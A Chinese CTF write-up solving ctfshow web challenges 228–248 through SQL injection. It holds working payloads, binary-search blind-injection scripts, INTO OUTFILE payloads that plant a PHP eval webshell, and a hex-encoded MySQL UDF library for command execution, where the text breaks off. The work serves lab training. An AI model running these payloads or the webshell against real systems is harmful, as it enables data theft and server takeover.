web228 1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ;$bansql = "select char from banlist;" ; if (count ($banlist )>0 ){ foreach ($banlist as $char ) { if (preg_match ("/" .$char ."/i" , $username )){ die (json_encode ($ret )); } } }
有过滤的堆叠注入,这次把禁用的字符放进了表里,测试发现 web226 的 payload 还能用,一把梭。
web229 1 2 3 4 5 6 7 8 9 10 11 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ; if (count ($banlist )>0 ){ foreach ($banlist as $char ) { if (preg_match ("/" .$char ."/i" , $username )){ die (json_encode ($ret )); } } }
有过滤的堆叠注入,同上题一把梭。
web230 1 2 3 4 5 6 7 8 9 10 11 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ; if (count ($banlist )>0 ){ foreach ($banlist as $char ) { if (preg_match ("/" .$char ."/i" , $username )){ die (json_encode ($ret )); } } }
有过滤的堆叠注入,同上上题一把梭。
web231 1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
update 注入,可以布尔盲注,但更方便的是注入 password 处逗号分隔用要查的数据改掉 username ,注释掉后面的条件可覆盖所有的记录,再查询数据实现回显。 payload1: password=ctfshow',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=nonono
username: banlist,ctfshow_user,flaga
payload2: password=ctfshow',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=nonono
username: id,flagas,info
payload3: password=ctfshow',username=(select flagas from flaga)%23&username=nonono
username 找到 flag。
web232 1 2 3 4 $sql = "update ctfshow_user set pass = md5('{$password} ') where username = '{$username} ';" ;
update 注入,和上一题相比多给 password 套了一层 md5 函数,对后面的 username 无影响。 payload1: password=ctfshow'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=nonono
username: banlist,ctfshow_user,flagaa
payload2: password=ctfshow'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=nonono
username: id,flagass,info
payload3: password=ctfshow'),username=(select flagass from flagaa)%23&username=nonono
username 找到 flag。
web233 1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
update 注入,题目说没过滤,但之前的 payload 跑不通了,那就布尔盲注叭。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import randomimport requestsurl = "http://7b8e78f1-5553-4398-b9a7-084487b6d003.challenge.ctf.show:8080/api/" payload = "select flagass233 from flag233333" condition = "ascii(mid(({}),{},1))>{}" true_flag = "更新成功" def valid_payload (p: str ) -> bool : data = { "password" : str (random.random()), "username" : f"ctfshow' and if({p} ,1,0) #" } response = None while True : try : response = requests.post(f"{url} " , data=data) except : continue break return true_flag in response.json()["msg" ] index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(condition.format (payload, index, everage)): start = everage else : end = everage if end < start: end = start if chr (end) == "!" : break result += chr (end) print (f"[*] result: {result} " ) index += 1
web234 1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
有过滤的 update 注入,相比上一题禁用了单引号,但还可以利用 \
转义 pass 的单引号,让 ' where username =
变成 pass,然后 $username 就可以注入了。 payload1: password=%5C&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
username: banlist,ctfshow_user,flag23a
payload2: password=%5C&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)%23
username: id,flagass23s3,info
payload3: password=%5C&username=,username=(select flagass23s3 from flag23a)%23
username 找到 flag。
web235 1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
有过滤的 update 注入,相比上一题禁用了 or
,information_schema 就也不能用了,改用 mysql.innodb_table_stats 查表名,再用无列名注入 。 payload1: password=%5C&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
username: banlist,ctfshow_user,flag23a1,gtid_slave_pos
payload2: password=%5C&username=,username=(select d from (select 1,2 as d,3 union select * from flag23a1)a)%23
username 找到 flag。
web236 1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
有过滤的 update 注入,相比上一题禁用了 flag
,但却还是能作为表名查询不知道为啥。 payload1: password=%5C&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
username: banlist,ctfshow_user,flaga,gtid_slave_pos
payload2: password=%5C&username=,username=(select hex(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)%23
username 解码为 flag。
web237 1 2 3 4 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
无过滤的 insert 注入,先用 \
在 username 逃逸后面的 password,查出来数据插入再查询得到回显。 payload1: username=\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()))%23
password: banlist,ctfshow_user,flag
payload2: username=\&password=,(select group_concat(column_name) from information_schema.columns where table_schema=database()))%23
password: id,char,id,username,pass,id,flagass23s3,info
payload3: username=\&password=,(select flagass23s3 from flag))%23
password 找到 flag。
web238 1 2 3 4 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
有过滤的 insert 注入。相比上题过滤了空格,尝试 %09 %0a %0b %0c %0d /**/
都不行,括号可以。 payload1: username=\&password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))%23
password: banlist,ctfshow_user,flagb
payload2: username=\&password=,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())))%23
password: id,char,id,username,pass,id,flag,info
payload3: username=\&password=,(select(flag)from(flagb)))%23
password 找到 flag。
web239 1 2 3 4 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
有过滤的 insert 注入、相比上题过滤了 or
,information_schema
中枪,改用 mysql.innodb_table_stats
。 payload1: username=\&password=,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))%23
password: banlist,ctfshow_user,flagbb
脑洞列名 flag。 payload2: username=\&password=,(select(flag)from(flagbb)))%23
password 找到 flag。
web240 1 2 3 4 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
有过滤的 insert 注入,表名靠爆破列名靠猜。 Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = "http://39865a8d-b0b3-44cc-be00-3eff183f3c70.challenge.ctf.show:8080/api/insert.php" payloads = [{ "username" : "\\" , "password" : f",(select(flag)from(flag{a} )))#" } for a in [f"{a} {b} {c} {d} {e} " for a in "ab" for b in "ab" for c in "ab" for d in "ab" for e in "ab" ]] for payload in payloads: response = requests.post(url, data=payload) print (f"[*] response: {response.json()} " )
password 找到 flag。
web241 1 2 3 4 $sql = "delete from ctfshow_user where id = {$id} " ;
无过滤的 delete 注入,没有分号数字型注入,布尔盲注记录会越来越少,用时间盲注。 一开始用 if(1,sleep(1),0)
尝试延时了好久都没返回,后来明白是所有记录都算了一遍 if,这里用 sleep(0.05) 就能延时超过 0.7s 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 url = 'http://58e7b03f-3c20-48e0-a8f8-9a3efa102f6d.challenge.ctf.show:8080/api/delete.php' def test2 () -> float : rand = random.random() time_s = time.time() _ = requests.post(url,data={"id" : f"if({1 if rand > 0.5 else 0 } ,sleep(0.05),0)" }) time_e = time.time() return (rand > 0.5 , time_e - time_s) print ([test() for _ in range (30 )])
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import timeimport requestsurl = "http://58e7b03f-3c20-48e0-a8f8-9a3efa102f6d.challenge.ctf.show:8080/api/delete.php" payload = "select flag from flag" condition = "ascii(mid(({}),{},1))>{}" def valid_payload (p: str ) -> bool : data = { "id" : f"if({p} ,sleep(0.05),0)" } time_s = None time_e = None while True : try : time_s = time.time() _ = requests.post(f"{url} " , data=data) time_e = time.time() except : continue break return time_e-time_s >= 0.7 index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): mid = (start + end) // 2 if valid_payload(condition.format (payload, index, mid)): start = mid else : end = mid if end < start: end = start if chr (end) == "!" : break result += chr (end) print (f"[*] result: {result} " ) index += 1
web242 1 2 3 4 $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename} ';" ;
outfile 后面的路径注入,已知语法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 SELECT ... INTO OUTFILE 'file_name' [CHARACTER SET charset_name] [export_options] export_options: [{FIELDS | COLUMNS} [TERMINATED BY 'string' ] [[OPTIONALLY] ENCLOSED BY 'char' ] [ESCAPED BY 'char' ] ] [LINES [STARTING BY 'string' ] [TERMINATED BY 'string' ] ]
可以利用 export_options 插 shell。 payload: filename=sh.php' lines terminated by '<?php eval($_POST[1]); ?>'%23
蚁剑连接 /dump/sh.php
,flag 在 /flag.here
。
web243 1 2 3 4 $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename} ';" ;
outfile 后面的路径注入,php 被过滤,文件名部分改用 .user.ini 绕过,内容改用十六进制绕过。 ini 文件中注释 ;
开头,这里用 starting by ‘;’ 注释掉原本的内容,后面的字符串前面加个换行就不影响了。 payload1: filename=.user.ini' lines starting by ';' terminated by 0x0a0a6175746f5f70726570656e645f66696c653d736166652e6a70670a6175746f5f617070656e645f66696c653d736166652e6a7067; %23
payload2: filename=safe.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b203f3e; %23
蚁剑连接 /dump/
,flag 在 /flag.here
。
web244 没有过滤的报错注入。
1 2 3 4 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
payload1: 1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|banlist,ctfshow_flag,ctfshow_us'" , "count" : 1 , "data" : [ ] }
payload2: 1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')),1) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|id,flag,info'" , "count" : 1 , "data" : [ ] }
payload3: 1' and updatexml(1,concat(0x7c,(select flag from ctfshow_flag)),1) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|ctfshow{9efdc62f-4ea2-4d85-9d42'" , "count" : 1 , "data" : [ ] }
payload4: 1' and updatexml(1,concat(0x7c,mid((select flag from ctfshow_flag),30,30)),1) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|42-193e145caabd}'" , "count" : 1 , "data" : [ ] }
拼接前后两段得到 flag。
web245 1 2 3 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
有过滤的报错注入,提示过滤了 updatexml,但还可以用 extractvalue。 payload1: 1' and extractvalue(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|banlist,ctfshow_flagsa,ctfshow_'" , "count" : 1 , "data" : [ ] }
payload2: 1' and extractvalue(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'))) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|id,flag1,info'" , "count" : 1 , "data" : [ ] }
payload3: 1' and extractvalue(1,concat(0x7c,(select flag1 from ctfshow_flagsa))) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|ctfshow{f7f4c22a-8131-4158-9f14'" , "count" : 1 , "data" : [ ] }
payload4: 1' and extractvalue(1,concat(0x7c,mid((select flag1 from ctfshow_flagsa), 30, 30))) %23
1 { "code" : 0 , "msg" : "XPATH syntax error: '|14-43d8f263be54}'" , "count" : 1 , "data" : [ ] }
拼接前后两段得到 flag。
web246 1 2 3 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
有过滤的报错注入,这次把 extractvalue 也禁用了,要用 floor。 关于 floor 报错注入的理解见 https://www.freebuf.com/column/235496.html ,原理不再赘述。 payload1: 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
1 { "code" : 0 , "msg" : "Duplicate entry 'ctfshow_flags1' for key 'group_key'" , "count" : 1 , "data" : [ ] }
payload2: 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
1 { "code" : 0 , "msg" : "Duplicate entry 'flag21' for key 'group_key'" , "count" : 1 , "data" : [ ] }
payload3: 1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
1 { "code" : 0 , "msg" : "Duplicate entry 'ctfshow{0f6309d1-ca9d-4653-b570-ea7802592546}1' for key 'group_key'" , "count" : 1 , "data" : [ ] }
web247 1 2 3 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
有过滤的报错注入,这次新增禁用 floor
,还可以用 ceil 代替。 payload1: 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
1 { "code" : 0 , "msg" : "Duplicate entry 'ctfshow_flagsa2' for key 'group_key'" , "count" : 1 , "data" : [ ] }
payload2: 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
1 { "code" : 0 , "msg" : "Duplicate entry 'flag?2' for key 'group_key'" , "count" : 1 , "data" : [ ] }
payload3: 1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
注意这里 flag?
包含 ?
要用反引号包裹。
1 { "code" : 0 , "msg" : "Duplicate entry 'ctfshow{b98fc9f9-0a57-4296-ad5b-cb7deb1d2921}2' for key 'group_key'" , "count" : 1 , "data" : [ ] }
web248 1 2 3 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
udf 注入,找了个脚本改了下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsurl = 'http://c4cfac67-eec1-4378-ac1b-75c52840f816.challenge.ctf.show:8080/api/?id=' code = '7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C8142000000000000000000000000000000000000300110